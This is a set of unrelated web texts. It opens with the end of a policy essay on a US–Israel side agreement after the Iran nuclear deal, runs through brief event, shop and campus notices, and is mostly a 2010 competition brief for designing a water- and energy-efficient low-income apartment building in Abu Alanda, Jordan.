Israel also has concerns that if Iran does not decide to violate the agreement and cross the nuclear threshold in the first decade, it could close the gap in the second decade without cheating. Iran can enhance its nuclear program after ten years, so any western attempt to stop it from going nuclear would be extremely difficult. Though Iran has possessed significant threshold capabilities in the past two years, it never had international legitimacy to do so. Now that it does, there is a risk that other countries in the region will push for the same.
Furthermore, Israel should also explain that even though the Obama Administration rightly argues that the nuclear agreement was never intended to address Iranian behavior in the region, it cannot disregard the consequences of improving Tehran's international status while it boldly supports terrorism, aggressively promotes regional instability, and takes an active role in the civil war in Syria. Relieving the embargo and Iran's missile program sanctions does not help the administration's argument. Netanyahu has warned that some of the more than 100 billion dollars Iran expects to receive will increase its support of terrorism and empower its proxies against Israel (namely, Hezbollah in Lebanon and Hamas in Gaza). Altogether, in the eyes of many, the nuclear deal weakens the credibility of American deterrence (both nuclear and non-nuclear) as well as its commitments to allies in the region on those issues.
To alleviate Israeli concerns, the U.S. should sign a side deal with its strongest ally in the region. The notion of a parallel agreement has been promoted in recent months by former head of IDF Military Intelligence General Amos Yadlin and myself. This agreement should be signed before international sanctions against Iran are lifted as a product of intensive dialogues between Washington and Jerusalem.
There are five critical components to an effective agreement. First, both countries should engage in unprecedented intelligence collaboration to swiftly detect any Iranian violation of terms. This commitment of resources will be an effective information-sharing mechanism and part of a rapid decision-making process.
Second, the two countries should agree on an interpretation of the agreement and responses to Iranian non-compliance. They must clearly define how a nuclear deal with Iran would be implemented, how to handle violations, and what could be done outside the framework to incentivize Iranian compliance.
Third, the two governments should work out a contingency plan under which if Iran decides to acquire nuclear weapons, Israel will be able to take action independently without relying on an international consensus. In order to be a credible deterring force against this potential threat, especially after the main constraints on Iran's nuclear program are lifted, Israel will require advanced weaponry to ensure that this scenario is not realized under any circumstances.
Fourth, special efforts should be made to halt Iran from advancing its missile program before it is capable of launching nuclear attacks against its adversaries in the Middle East and beyond. Iran's missile program is a crucial factor in the Iranian nuclear decision-making calculus, and may be the most significant challenge faced by Tehran if they decide to cross the nuclear threshold. The nuclear deal endeavors to preempt this concern as it states that missile program-related sanctions will only be lifted after eight years. The U.S-Israel deal must address this.
Lastly, the U.S. and Israel should agree on tenets for countering Iran's possible exploitation of the nuclear deal and expanding influence in the region. These measures should both improve Israel's defensive capabilities and include a bolder American offensive strategy for the Middle East, both aimed at actively challenging Iran's regional policy. This essential tenet signals to Israel that Washington is not abandoning the Middle East and leaving it susceptible to the influence of Iranian hegemony as it becomes a more dangerous place. As the Iran deal and its tributary deals are fait accompli, the U.S. and Israel should actively cooperate on formulating a policy for the next major side deal between the two countries.
Image "P052011PS-0414" Courtesy The White House / Public Domain
About the Author
Avner Golov is a PhD Candidate and a Harry S. Truman Scholar at the Fletcher School of Law and Diplomacy, Tufts University. He also serves as a researcher at the Center for New American Security (CNAS) and as a research fellow at Israel's Institute for National Security Studies (INSS).


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Successful AFPM2016 Seminar
The seminar Advanced Functional Polymers for Medicine 2016 was held on June 15-17, 2016 on the campus of the University of Twente in Enschede, The Netherlands.
The highly qualified lectures and poster presentations, and the interactive participation of all 90 participants have made this symposium to a great success. The organizers thank them all for their contributions and also our sponsors: KNAW, Mira, Polyvation, CorbionPurac and Optics11 who helped to make this symposium possible with their generous financial support.
The jury for the poster prizes had a very hard task to select the best poster award winners:
- 1st Prize: Mikolaj Szachniewicz, University of Twente, The Netherlands
- 2nd Prize: Elita Montanari, University of Manchester, Great Britain
We are already looking forward to meet again at the AFPM2017 seminar.
Organizing committee AFPM2016
University of Twente, The Netherlands
- Prof. Dr. Dirk W. Grijpma
- Dr. André Poot
- Mrs. Karin Hendriks
- Mrs. Hetty ten Hoopen
- Helmholtz-Zentrum Geesthacht Teltow, Germany
- Prof. Dr. Andreas Lendlein
- Mrs. Sabine Benner


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The INSIDER Summary:
• Halloween candy is fully stocked in a store near you.• Here is the definitive ranking of the best candy on the market.
It's that time of year again. The aisles at the grocery store are overflowing with giant bags of Halloween candy, reminding you of a time when you went Trick-or-Treating hoping that you would get your favorite candy or even a full-size candy bar *gasp.*
If you're like me and are bummed that 20 is apparently "too old" to Trick-or-Treat, you probably still remember which candy you ate right away and which ones remained at the bottom of your bag for six months. With the help of two taste-testers, I decided to find the most popular Halloween candies to provide you with a definitive ranking of Halloween candy.
Note: GF indicates the specific candy mentioned is gluten-free.
M&M's are the classic chocolate candy that most people think of when they think of Halloween. They have a real chocolate taste and they don't melt in your hand if you eat them fast enough (which is irrelevant because we all know you're eating them all at once anyway).
If you don't like Snickers, I probably don't like you. They're simple, yet the recipe ideas are endless.
Snickers encompass all that is good in the world: chocolate, nougat, peanuts, and caramel. Enough said.
As one of my taste-testers put it, "Can peanut butter and chocolate be beat by anything? The answer is no."
Though Reese's Peanut Butter Cups are simple, they include two of the greatest sweets in the world and nothing can surpass this candy. NOTHING.
If you're looking to get a little fancier, try making a Reese's milkshake to satisfy your sweet tooth.


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Lawrence Bond and Kristy Clark would like to announce their engagement. The ceremony will be held at Pleasureville Baptist Church at 4:30 p.m. Saturday, June 30, 2012. A reception will follow in the fellowship hall located across the street from the church.
All friends and family are invited.
If you currently subscribe or have subscribed in the past to the Henry County Local, then simply find your account number on your mailing label and enter it below.
Click the question mark below to see where your account ID appears on your mailing label.
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We are among the first people you will meet on our campus. Our office is the entry point for students new and returning to UW-Green Bay, Sheboygan Campus.
Our office provides a wide range of services and programs that support and advance access, opportunity, and student success in furthering the educational mission of UW-Green Bay, Sheboygan Campus.
We assist YOU in meeting your intellectual, personal, social, emotional, and interpersonal needs to prepare you for assuming productive roles within a culturally diverse and increasingly complex society.
We work to make your college experience work for you! The Solution Center Office is the place for:
For more information, or if you would like to come for a visit and a campus tour, call us at 920-459-6633.
Monday-Friday: 8:00 a.m. - 4:30 p.m.
Enter the main doors of the Acuity Technology Building, go through the glass doors and up the stairs. The Welcome Desk is straight ahead.


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We invite you to join our e-mail list. You will be the first to know about upcoming tastings, dinners, special buys, special offers, and other wine and spirits related events.
This is a confidential and proprietary list. We do not rent, sell or share your information.This list is strictly voluntary. If you no longer wish to receive messages from us, tell us and we will remove your name and address immediately.
(Field names marked with * are required.)


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Affordable Housing for the Future Competition: A Call for Innovative Ideas for the Design of a Model Water- and Energy-Efficient Low-Income Apartment Building in Abu Alanda, Jordan
Competition Announcement
Competition Announcement
Download PDF file of this competition announcement (file size is 214 KB)
The Center for the Study of the Built Environment (CSBE) and the Jordan Engineers Association (JEA), in collaboration with the Ministry of Water and Irrigation (MWI) and the Housing and Urban Development Corporation (HUDC), invite submissions from individuals and organizations in the fields of architecture and engineering, as well as other interested parties, for a competition for the design of a model water- and energy-efficient low-income apartment building in Abu Alanda, Jordan. The competition is funded by the United States Agency for International Development (USAID) through the Instituting Water Demand Management in Jordan Project (IDARA). The awards for the competition are sponsored by JEA and the King Abdullah II Fund for Development (KAFD).
Table of Contents:
Competition Consulting Committee
Competition Objectives
Eligibility for Participation
Competition Time Schedule
Competition Submissions
Competition Language
Disqualification from the Competition
Questions and Answers
Evaluation of Entries
Members of the Jury
Publishing of Entries
Intellectual Property Rights and Copyrights
Design Brief
Site Location
Amman Climatic Data
Floor Area
Construction Budget
Resources on Water- and Energy-Efficient Designs and on Low-Income Housing
Printed Materials
Online Resources
List of Appendices:
Appendix 1: Registration form (MS Word file, file size is 33 KB)
Appendix 2: Declaration form (MS Word file, file size is 33 KB)
Appendix 3: Site plan of the three phases of the Abu Alanda development (JPEG file, file size is 1,897 KB )
Appendix 4: Photos of the buildings under construction on the Abu Alanda Phase I site
Appendix 5: Prototypical plans for the buildings on the Abu Alanda Phase I site
Appendix 6: Site location plan for the competition - the Abu Alanda Phase III Site (AutoCAD file, file size is 960 KB)
Appendix 7: An aerial view of the site location (JPEG file, file size is 422 KB)
Appendix 8: A general view of the site location (JPEG file, file size is 192 KB)
Appendix 9: Samples of conventional low-income apartment buildings carried out by HUDC
Appendix 10: Zoning plan for phases II & III (AutoCAD file, file size is 1,482 KB)
Appendix 11: Water network plan for phases II & III (AutoCAD file, file size is 610 KB)
Appendix 12: Sewage network plan for phases II & III (AutoCAD file, file size is 3,182 KB)
Appendix 13: Plan showing road levels for phases II & III (AutoCAD file, file size is 3,033 KB)
Appendix 14: Additional site photos (PDF file, file size is 798 KB)
Appendix 15: Clarifications and responses to inquiries received from registrants (PDF file, file size is 81 KB)
1. Competition Consulting Committee
The competition consulting committee members are:
Dr. Natheer Abu Obeid, Dean of Architecture, Jordan University of Science and Technology (JUST);
Ms. Ra'ida Haddad, Director of Design Department, Housing and Urban Development Corporation (HUDC);
Ms. Ala Jaber, Architect and Designer, Professional Engineering Consultants, Ltd., and Part-Time Lecturer, Department of Architecture, University of Jordan;
Mr. Ziad Qattan, Architect, 2K Architects, Planners and Engineers, First prize winner of the 2003-2004Aqaba Housing Competition, a competition for the design of a model water- and energy-efficient low-income housing unit in Aqaba, Jordan;
Ms. Abeer Al Saheb, Urban Planning Consultant.
2. Competition Objectives
In November of 2003, the United States Agency for International Development (USAID) supported an architectural competition for a low-income water- and energy-efficient house suited for the Aqaba region in Jordan. Due to the success of the Aqaba Housing Competition, USAID-IDARA is hosting a similar competition for the best water- and energy-efficient low-income housing block in Jordan's Highland areas.
The typical four-story apartment block has become a common housing typology in urban areas across Jordan and is being adopted by developers in large-scale housing complexes, especially in the limited-income sector. It is hoped that the competition will generate further creative ideas in the design of water- and energy-efficient dwellings and propose aesthetic, practical, and sustainable solutions for urban areas in the highlands. Such ideas are particularly significant given the current economic conditions in Jordan where lowering the running cost of low-income housing has become a priority for both private- and public-sector limited-income housing developers.
In the public sector, the Housing and Urban Development Corporation (HUDC) has taken on the implementation of the royal initiative "Decent Housing for Decent Living" to provide housing for low- and limited-income people. HUDC is currently implementing several large housing projects under this initiative in the various governorates of Jordan.
Additionally, there are various parties in Jordan interested in sustainable building and design, and there is a drive to create a green building council in Jordan, and also to introduce sustainable design practices to the country. This competition aims at initiating a broader discourse on the design of water- and energy-efficient buildings in Jordan, and it is hoped that it will encourage further studies on this issue in the country.
Also, the outcome of the competition may encourage governmental institutions involved in the construction industry, such as the Municipality of Greater Amman, HUDC, and the Ministry of Public Works and Housing, to refine existing building codes and standards in order to allow for the enhancement of green and sustainable design practices in the country. In addition, winning entries for the competition may serve as models for water- and energy-efficient housing examples that would be implemented by both public and private sector organizations as was the case with the Aqaba Housing Competition.
3. Eligibility for Participation
Application to the competition is open to architects and students of architecture, as well as other interested individuals and organizations. Participation in the competition is not allowed for those involved in the organization of the competition as well as the employees or consultants working with them.
Participants must be Jordanian citizens or have resident status in Jordan. However, it is possible for non-Jordanians and non-residents to participate in collaboration with Jordanian participants.
In order to be eligible for the competition, all participants shall fill out the competition's registration form and make sure it reaches the CSBE offices on or before the registration closing date mentioned below. The registration form can be obtained from the CSBE offices or downloaded from Appendix 1. Filled and signed registration forms can be sent by email as JPEG or PDF files to email@example.com or by fax to (06) 461 5297. These forms also can be hand-delivered to the CSBE offices at the Ala' Office Building, first floor, 10 Husni Fareez Street in Jabal al-Luweibdah, Amman, Jordan.
4. Competition Time Schedule
January 05, 2010: Official launch of competition.
January 06 - 26, 2010: Registration period.
January 26 - February 09, 2010: Receipt of inquiries from participants.
February 23, 2010: Responses to inquiries and clarifications regarding the competition will be posted on the CSBE web site.
May 20, 2010: Deadline for submitting entries. Entries to be handed at CSBE offices.
June 2010: Announcement of prizewinners as well as honorable mentions.
July 04 - 25, 2010: Pickup of non-winning entries.
5. Competition Submissions
Each entry should be presented on four 59.4 x 84.0 cm (A1) sheets arranged horizontally in addition to a CD containing high resolution JPEG or PDF files of the drawings. Sheets should be mounted on either foam board or 2-5mm cardboard. Drawing sheets shall display the title "Abu Alanda Housing Competition".
Each entry should include conceptual drawings; a site layout (scale 1:500) showing the layout of eight adjacent apartment buildings on the assigned block; a longitudinal site elevation (scale 1:500) showing the eight adjacent apartment buildings on the assigned block; a set of drawings for the proposed apartment building including a site and landscape layout for the assigned plot including the ground floor plan (scale 1:100), floor plans (scale 1:100), four elevations (scale 1:100), two sections (scale 1:100), detailed wall section(s) (scale 1:20) illustrating materials proposed and construction details, illustrative drawings showing water- and energy-efficient concepts, and at least one three-dimensional view. Also, entries may include any other details or analytical drawings that the participants deem necessary.
The full details for the design requirements for the prize are provided in the "Design Brief" below.
Each entry also shall include a report of no more than 1,000 words. The report shall describe the research and design methodology used in developing the design. It also shall discuss the design concept and the means it proposes to achieve water and energy efficiency. The report shall include a cost estimate for the construction of the apartment building. A breakdown of the costs should include the following: substructure, superstructure, finishing materials, insulation materials, and landscaping. The report shall include a total cost estimate per-square-meter for the apartment building. The report also shall include a Life Cycle Cost Analysis (LCCA) for the building for 20 years.
Drawing boards shall not display the name of the entrant or any identifying marks. Entrants shall fill out the declaration form, which can be obtained from the CSBE offices or downloaded from Appendix 2, and submit it along with the CD and drawing boards. Each entry shall include the four drawing boards, a declaration form, a CD, and a report.
The competition organizers will give each entry a code number, which will appear on the drawing boards and the report as well as the declaration form. The names of the competitors will remain hidden from the jury members until after the jury has made its final decision.
Note: It is recommended that entrants make copies of their entries before the entries are submitted. CSBE and IDARA reserve the right to keep the winning entries and those receiving honorable mentions after the prize results are announced. Authors of non-winning entries can pick up their entries from the CSBE offices starting July 04 through 25, 2010. CSBE will not be held responsible for any entries that are not picked up during that period.
6. Competition Language
As the competition jury includes foreign members and as foreign individuals may participate in the competition (in conformity with the criteria for eligibility for participation in the competition), the language used for the components of the competition entries (reports, drawing legends, etc.) shall be English.
7. Disqualification from the Competition
The organizers of the prize reserve the right to disqualify participation from the prize if any of the following conditions are met:
Entrants do not meet the eligibility criteria for participation in the prize, as mentioned in the prize brief.
Entrants communicate with competition organizers, consulting committee members, or jury members concerning design solutions or/and concerning the judging of entries.
Entries do not satisfy the requirements for submissions.
8. Questions and Answers
Entrants wishing to ask questions and obtain further information can submit their inquiries to CSBE by February 09, 2010. Inquiries will be accepted in writing only. They can be submitted by email firstname.lastname@example.com or by fax to (06) 461 5297.
Responses to inquiries and clarifications regarding the competition will be posted on the CSBE web site. These responses will be considered an integral part of the design brief.
9. Evaluation of Entries
Offering creative solutions to water and energy efficiency, sensitive to conservation. It is encouraged to consider passive means of conservation in the design solutions, which include, but are not limited to, the proper study of massing, building orientation, window sizing and placement, the use of landscaping to control sun exposure, etc.
Consideration of the apartment building type and possible conservation aspects in its design.
Satisfaction of aesthetic and functional aspects.
Cultural and social suitability of the design to the norms of the intended inhabitants.
Responsiveness to site location and topography, as well as to the Jordanian physical environment.
Responsiveness to climatic conditions in the region, including temperature, relative humidity, rainfall rates, and solar patterns.
The use of local building materials and construction methods, as well as ease of implementation.
Low construction costs, as well as low running costs.
Scalability and applicability of the design or major ideas in the design to other site locations and building types in Jordan.
Proper compliance with building regulations in terms of heights, setbacks, etc. and adherence to Jordanian building codes and standards, as well as the special regulations provided in the design brief.
Professionally presented, high quality, self-explanatory drawings.
10. Members of the Jury
Entries will be reviewed and judged by an independent jury consisting of five reputable professionals involved in the fields of architecture and social development. Jury members will include the following:
Tawfiq Abu-Hantash, Architect and Managing Partner, GDAR Group.
Tawfiq Abu-Hantash is a cofounder and principal designer at GDAR (Group for Design and Architectural Research), established in 1991 with offices in Jordan, UAE, and Morocco. He holds a Master's in Architecture from MIT in 1989 and a BSc in Architecture from the University of Jordan in 1983.
Through his long and diverse experience in architectural design and teaching, architect Abu-Hantash and the GDAR team have developed a design approach that mediates between modernism and cultural commitment to place and context. This "experimental" approach has been explored through working on complex projects ranging from single buildings to large-scale urban design and housing schemes in different places, including Iraq, Jordan, Libya, Morocco, Palestine, Saudi Arabia, UAE, and Yemen. This approach has led to winning the Islamic Architecture Award of Cityscape Dubai in 2006 for the design of Princess Salma Housing Estate.
Individually and through GDAR, architect Abu-Hantash has participated in numerous architectural competitions and won prizes in most occasions. He is a regular visiting critic of graduation projects in local and regional universities. He is also an active member of several professional and academic committees and societies.
Meisa Batayneh Maani, Founder and Principal Architect, Maisam Architects and Engineers.
Meisa Batayneh Maani is experienced in multiple facets of design including architecture, planning, urban design, and corporate and place branding. Over her long and versatile career, she has led multi-disciplinary teams on large-scale international and regional projects in USA, Pakistan, Cyprus, Saudi Arabia, Egypt, and UAE. In addition to her passion to use creativity, design, and innovation to enhance the built environment, she is actively involved in reform processes through numerous national and international commissions and boards. She is also the founder and chairperson of Design Jordan, president of Business and Professional Women of Amman (BPWA), founding member of the Architecture and Engineering Business Council, head of Green Unit, a board member of the King Abdullah II Center for Excellence, and several other prestigious boards and committees.
Khaled Jayyousi, Assistant Professor, Department of Architecture, Petra University.
Khaled Jayyousi has a Ph.D. in Urban and Regional Planning from the University of Venice, Italy. He has more than thirty four years of professional experience as an architect and planner with private and government agencies, implementing major development programs with special emphasis on low-cost housing projects, including "slum upgrading" and "site and service" projects, as well as urban design, settlement, planning, and architectural projects. His experience extends to broader program-wide aspects of development, including the preparation of planning and design standards, staff organization and coordination with external public and private agencies.
He is a counterpart consultant with the Urban Development Department (UDD) of the Ministry of Public Works and Housing in Jordan, specializing in different aspects of urban development planning and architectural design of housing and community buildings.
He was awarded the al-Kawkab al-Urduni medal by His Majesty the late King Hussein in appreciation for his achievement in UDD project implementation. He was also awarded a 1992 Aga Khan Prize in Architecture for the East Wehdat upgrading project in Amman.
Farouq Yaghmour, Principal, Yaghmour Architecture Office.
Farouk Yaghmour is an architect and planner, and is the principal of Yaghmour Architecture Office (Amman, Bethlehem, Sharjah, and Dubai). He studied architecture at the Hoch Schule fur Architektur und Bauwesen in Weimar and did his graduate work at the State University of New York at Buffalo, where he holds a master's degree in architecture and a Ph.D. in planning. He taught at the University of Jordan, Amman, and the State University of New York, and was the founding chairman of the Department of Architecture and Interior Design at Petra University, Amman. Dr. Yaghmour has practiced architecture in Jordan, Palestine, the United Arab Emirates, and the United States. He has been in charge of the urban and architectural development for a number of important historical sites, including the Solomon Pools in Bethlehem, the Palestinian village of Beit Sahur, and the Baptism Site along the Jordan River in Jordan. He also was involved in efforts aimed at preserving the historical Palestinian city of Hebron. Dr. Yaghmour is the author of several publications addressing the subjects of architecture and environmental and urban planning. He also has served on a number of public advisory committees involved in advising and following up on large-scale development projects in Jordan.
Ayman Zuaiter, Partner, Tibah Consultants
Ayman Zuaiter is an American University of Beirut graduate. He has been practicing architecture since 1981. Zuaiter worked with the late Hasan Fathy during 1982. He had the chance to work on several residential, public, and urban regeneration projects in different parts of Jordan. Architect Zuaiter is known for his harmonious solutions in architecture and planning that stem from the spirit of the place. He is a frequent jury member for graduation projects at several Jordanian universities. Zuaiter is responsible for the design of several winning architectural competitions in Jordan and the Arab region.
Richard Brittain, Lecturer, School of Architecture, University of Arizona.
Richard Brittain teaches site analysis and planning with an emphasis on infill urban land use and sustainability, land ethic and tectonics design studios, fifth year capstone studio projects, and master's degree thesis projects. He supervises the visualization and simulation laboratory, and was recently elected by the faculty to serve as critical practice coordinator. His private practice focuses on architectural photography, residential desert architecture utilizing adobe and rammed earth wall materials, passive solar energy efficiency, and water conservation techniques with rainfall harvesting and graywater reuse systems.
11. Prizes
First prize: JD 6,000 (about USD 8,450).
Second prize: JD 4,000 (about USD 5,630).
Third prize: JD 3,000 (about USD 4,200).
If the jury sees fit, honorable mentions may also be given to other entries showing merit.
Note: Entrants agree that the jury's decision is final and that the jury may withhold the first prize if the submitted entries do not satisfy all of the competition's evaluation criteria mentioned above.
The prizes for the competition are provided by the King Abdullah II Fund for Development (KAFD) and the Jordan Engineers Association (JEA).
12. Publishing of Entries
All efforts will be made to publish the winning designs as well as other selected designs on the CSBE web site and in specialized regional publications, and to display them in relevant exhibition venues.
13. Intellectual Property Rights and Copyrights
Participants in the competition shall retain any and all copyrights to their designs.
However, acceptance of the award(s) by the successful participant(s) will result in providing the United States Agency for International Development (USAID), Host Country Government, and Development Alternatives, Inc. (DAI) a royalty-free exclusive irrevocable right to use the drawings, specifications, designs, or other technical data developed.
14. Design Brief
Site Location:
As the context of a building is of great significance when addressing water- and energy-efficient designs, and since the ultimate aim of this competition is to construct a model demonstration water- and energy-efficient low-income apartment building, a real-life site location has been assigned for the project. The selected site is located in the Abu Alanda area in the southeastern part of Amman. The site is part of a low-income housing development owned by the Housing and Urban Development Corporation (HUDC). The site has many of the features of a common building site currently being developed by HUDC in the city of Amman, which will facilitate the applicability of the competition's entries to as many site locations as possible.
The area of Abu Alanda is located in the southeastern part of the city of Amman. It lies at a latitude 31.53° north and longitude 35.58° east.
The Abu Alanda development: HUDC has recently prepared a planning scheme for the Abu Alanda low-income housing development, in which low-income residential plots have been identified. The development of the area has been phased in three phases. Phases I and II are currently under construction and at various stages of completion. Refer to Appendix 3 to view the site plans of phases I and II, Appendix 4 for photos of the Phase I apartment buildings under construction, and Appendix 5 for plans of HUDC building prototypes for Phase I.
The site chosen for this competition is Phase III of the Abu Alanda development. The road layout and parcelation of the plots have been planned and green spaces have been designated. A block of eight plots, centrally located in the Phase III site (plot numbers 574 - 667), has been selected as the location for the design proposals. Participants are asked to propose site layouts for these eight plots and a detailed design of one apartment building for plot number 673. A designated green space is located in the center of the block and should be designed as a shared garden/open space. The site layout of the block should show proposals for the shared garden/open space.
Area of the designated 8 plots: 14,135.56 square meters.
Area of the plot (no. 673): 1,575.22 square meters.
Altitude of the plots: On average, 875 m above sea level.
Gradient of the plot: There is approximately a ten-meter difference in levels between the highest and lowest points on the plot. The topography of the site is fairly steep ranging from 18 to 29%.
Maximum allowable floor area ratio (FAR): 1.76 (i.e. the floor area or the gross built-up area divided by the area of the plot).
Maximum allowable height: 16 meters (excluding staircases).
Maximum number of floors: Four floors (from the elevation of the midpoint of the upper street, and the midpoint of the plot).
Minimum setback requirements: 3.5 m front and rear setbacks, zero side setbacks. (Participants may choose to increase the set backs as deemed necessary)
Minimum number of housing units (for the entire 8 plots): 168 units.
Minimum soft landscaping requirements: 15% of plot area (excluding designated open space).
Parking requirements: 1 parking space per housing unit. Parking is permitted in the setbacks. Underground parking is permitted. Areas for underground parking may be excluded from the total FAR of 1.76.
Note: Participants may choose to alter the proposed parcelation. In such cases, the maximum allowable FAR of 1.76 would apply to the total area of the 8 plots (14,135.56 square meters). A shared garden/open space of 2,748.39 square meters (to be shared by the residents of the entire development), and a total of 168 units must be provided. All other requirements stated above apply.
Click here to download the compressed AutoCAD file for the Abu Alanda Phase III planning scheme (file size is 960 KB). The site location plan includes infrastructure information and contour lines for the whole area. The site location plan that has been assigned for the competition is marked on the drawing. Highlighted in gray is the block with the eight plots on which the footprints for the apartment buildings should be presented. Highlighted in red is the particular plot of land on which the apartment building is to be designed in detail.
Click here to view an aerial view that shows the general area of the Abu Alanda site.
Click here to view an image that shows the general area of the Abu Alanda site (the photo is taken from the northeast looking southwest towards the site).
Amman Climatic Data:
In general, the city has a moderate dry climate in the summer and a cool rainy climate in the winter. Below is more specific climatic data:
The highest monthly mean maximum air temperature is 32Ëš C occurring in July and August.
The lowest monthly mean minimum air temperature is 4Ëš C occurring in January and February.
The absolute maximum air temperature is 43Ëš C occurring in August.
The absolute minimum air temperature is -6Ëš C occurring in January.
The annual precipitation approximately ranges from 500 mm in the northwest and 150 mm in the southeast. Rainfall in the site area ranges between 250 mm and 300 mm annually.
The prevailing winds are from the west.
For more detailed information on climatic conditions in Amman, see the web site for the Jordan Meteorological Department and that for the Department of Statistics.
To calculate the sun angles in the city of Amman for a given date and time, consult SunAngle, an on-line program for calculating solar angles, at http://www.susdesign.com/sunangle/.
Floor Area:
Taking into consideration the HUDC design standards for low-income units in apartment buildings, the floor area of each unit shall range from a minimum of 110 square meters to 120 square meters. The area of each apartment does not include the vertical circulation core (which includes stairs, elevators, risers, and lobbies).
Accordingly, each entry shall provide a design for an apartment building with units of an average area of 115 square meters each. Each unit shall include three bedrooms, a reception area (salon), living area, dining area, kitchen, and two bathrooms.
The design of each building should account for building services such as mechanical rooms. Service and circulation areas are included in the maximum FAR requirements.
Click here to view samples of conventional low-income apartment buildings constructed by HUDC.
Construction Budget:
The construction cost for the submitted designs for the water- and energy-efficient low-income apartment building should be about JD 235 - 240 per square meter (around USD 331 - 338). It is understood that the incorporation of certain treatments or systems that ensure water and energy conservation may result in a higher construction cost. Therefore, an entry with a construction cost that exceeds JD 240 per square meter should include in its budget a brief study of how the higher cost would pay off in the long term through factors such as lower operating costs.
The total cost does not include the cost of the green area/parking space. Proposals for this area should take into account budget constraints in similar low-income housing projects.
15. Resources on Water- and Energy-Efficient Designs and on Low-Income Housing
Printed Materials:
The following is a list of useful printed books and manuals that address the issues of energy- and water-efficient designs, and of low-income housing.
Alexander, C., Ishikawa, S., Silverstein, M., Jacobson, M., Fiksdahl-King, I., and Angel, S. A Pattern Language: Towns, Buildings, Construction. New York: Oxford University Press, 1977. The book presents a new approach to architecture, building, and planning in which people, through the use of a language consisting of 253 patterns, can design and build their own homes, neighborhoods, or towns. A small selection of the patterns included in the book is available on-line at http://www.patternlanguage.com/apl/aplsample/aplsample.htm.
Burnham, R. Housing Ourselves: Creating Affordable, Sustainable Shelter. New York: McGraw-Hill Professional, 1998. The book describes how to design and build incremental, environmentally sensitive, self-built housing. The book gives guidance on utilizing local, cost-effective, sustainable materials; building in harmony with the natural landscape; and conserving precious natural resources.
Chiras, D. The Natural House: A Complete Guide to Healthy, Energy-Efficient, Environmental Homes. London: Chelsea Green Publishing, 2000. The book looks into a variety of options for building environmentally responsive, energy-efficient, and economical houses. The book provides an overview of several natural building technologies and materials, including straw bale, rammed earth, and adobe, and gives the pros and cons of each of them.
Chiras, D. The Solar House: Passive Heating and Cooling. London: Chelsea Green Publishing, 2002. The book describes, among other things, the basics of passive heating and cooling systems and ways of implementing and assessing the performance of energy-efficient heating and cooling systems.
Fathy, H. Architecture for the Poor: An Experiment in Rural Egypt. Chicago: University of Chicago Press, 1973 (re-issued in 2000). The book demonstrates the holistic approach of the late Egyptian architect Hassan Fathy to addressing housing problems for low-income populations in rural Egypt. The book not only addresses practical and affordable ways of building for the poor, but also argues the need for and the possibility of accomplishing socially-responsive, beautiful architecture for them. The book shows how Fathy used traditional building techniques and local building materials to create environmentally-conscious architectural solutions and to enable the poor to take control of the building process for their homes. Although the book deals with rural Egypt with its hot-dry climate, much of the ideas presented in it can be adapted to regions of different climatic conditions.
Givoni, B. Passive and Low Energy Cooling of Buildings. New York: John Wiley & Sons, 1994. The book discusses the properties and applications of passive cooling systems that use natural non-exhaustible energies to provide comfortable living spaces. It analyzes passive cooling systems in terms of performance in different types of buildings and climates.
Habraken, N. J. Supports: An Alternative to Mass Housing. London: The Architectural Press, 1972 (re-issued in 1999). The book presents a new approach to the design of large-scale housing projects in which a distinction is made between the "support" or the base building and the "infill" or the interior, thus enabling the production of a wide range of floor plans for any specific housing project.
Habraken, N.J., Boekholt, J., Thyssen, A., and Dinjens, P.J. Variations: The Systematic Design of Supports. Cambridge: MIT Press, 1976. The book discusses a new design methodology for housing projects, which was initiated by the Foundation for Architects Research (SAR) in the Netherlands. It illustrates and provides examples on how architects can design base buildings or "supports" that allow for the production of a range of floor plans that would respond to users' needs as opposed to the standardized floor plans of the industrial-era mass housing.
Housing and Urban Development Corporation (HUDC). The Citizen's Manual for Building: the Simplified Manual for Residential Building. Amman: HUDC, 1999 - 2002. [in Arabic] This series of eight booklets addresses, in a simple, illustrated manner, the building process in Jordan and the technical and procedural issues relating to it. The booklets are intended to provide guidance for ordinary citizens who wish to build affordable houses.
Jones, T., Pettus, W., and Pyatok, M. Good Neighbors: Affordable Family Housing. New York: McGraw-Hill Professional, 1996. The book features real-life examples of low-income housing projects from around the United States that were designed by innovative American architectural firms with the help and participation of local communities. The book also provides detailed design and construction techniques that support the development of affordable housing.
Kennedy, J. (ed.), Bates, A., Wanek, C. (ed.), and Smith, M. The Art of Natural Building. Gabriola Island: New Society Publishers, 2002. The book describes different alternatives of natural building techniques and materials, such as mud, stone, and straw. It argues that through the use of such techniques and materials one can produce buildings that are more environmentally responsive, affordable, and aesthetically pleasing than "modern" buildings.
Koch-Nielsen, H. Stay Cool: A Design Guide for the Built Environment in Hot Climates. London: James & James (Science Publishers), 2002. The book demonstrates, through the use of examples of traditional and modern constructions, design strategies that can create locations and structures that promote significant energy savings. It provides details of available techniques and technologies, material selections, and describes natural ventilation and cooling methods that satisfy both human comfort requirements and energy efficiency.
McMullan, R. Environmental Science in Building. Basingstoke and New York: Palgrave MacMillan, 2007. The book studies the science, technology, and services relating to human comfort and the environmental performance of buildings. It covers topics including climate, energy conservation, heating, ventilation, lighting, sound insulation, water supplies, and green buildings.
Nestnes, A., Hastings, S., and Saxhof, B. (eds.) Solar Energy Houses: Strategies Technologies Examples. London: James & James (Science Publishers), 1996. The book describes strategies and technologies applicable to energy-efficient buildings. It also provides detailed studies of fifteen experimental energy-efficient houses that were built in different climates.
O'Cofaigh, E., Olley, J., and Lewis, J. The Climatic Dwelling: An Introduction to Climate-Responsive Residential Architecture. London: James & James (Science Publishers), 1996. The book presents general strategies for green design, provides an evaluation of solar building elements, and shows examples of recently-designed green dwellings.
O'Cofaigh, E., Fitzgerald, E., and Lewis, J. A Green Vitruvius: Principles and Practice of Sustainable Architectural Design. London: James & James (Science Publishers), 1999. The book provides information on the green design and construction process, including issues to be considered, strategies to be adopted, and advices on design evaluation.
Roaf, S., Fuentes, M., and Thomas, S. Ecohouse: A Design Guide. London: Architectural Press, 2001. The book includes information on key issues relating to low-energy and ecological building as well as case studies from around the world.
The Second Jordanian Architectural Conference. Architecture and Environment: Towards Environmentally Sustainable Architecture. Amman: Jordan Engineers Association, 2000. The two-volume book includes conference papers presented by Arab architects discussing, among other things, environmentally responsive models of traditional buildings in hot-climate cities within the Arab World, and provides a few examples of some recent climatically-responsive buildings in such climates.
